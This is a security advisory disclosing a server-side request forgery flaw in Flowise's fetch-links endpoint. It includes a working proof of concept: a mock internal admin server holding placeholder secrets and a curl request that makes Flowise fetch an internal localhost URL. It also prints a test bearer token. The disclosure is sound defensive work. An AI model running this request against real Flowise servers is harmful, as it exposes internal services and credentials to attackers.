GHSA-hr92-4q35-4j3m FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability

• npm flowise: >= 3.0.5, < 3.0.6 → fixed in 3.0.6

Summary --- A Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints. Details --- Vulnerability Overview The `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links. The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks. Root Cause The `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services. Taint Flow • Taint 01: Route Registration https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24 • Taint 02: Service https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18 • Taint 03: xmlScrape https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478 PoC --- PoC Description This vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token: ``` tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q ``` Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as: • `/api/users` (User Management) • `/api/secrets` (API Keys) • `/api/database` (Database Config) This demonstrated that an attacker could enumerate internal web service structures. Internal Admin Server (Mock) ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/') def admin(): return render_template_string(""" Internal Admin Panel User Management API Keys Database Config System Logs """) @app.route('/api/users') def users(): return render_template_string(""" Users admin (root) operator Back """) @app.route('/api/secrets') def secrets(): return render_template_string(""" Secrets DB Key: sk-1234567890abcdef AWS Key: AKIAIOSFODNN7EXAMPLE Back """) if __name__ == '__main__': app.run(host='127.0.0.1', port=8080) ``` curl Request Example ```bash curl -G 'http://localhost:3000/api/v1/fetch-links' \ --data-urlencode 'url=http://127.0.0.1:8080/' \ --data-urlencode 'relativeLinksMethod=webCrawl' \ --data-urlencode 'limit=10' \ -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \ -s | jq '.' ``` Impact --- This is a Server-Side Request Forgery (SSRF) vulnerability. • Who is impacted? Any user running Flowise server exposed to external traffic. • Risk: Attackers can leverage the Flowise server to: • Explore internal web applications • Bypass firewall rules • Access sensitive administrative interfaces • Leak internal configuration, credentials, or secrets This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.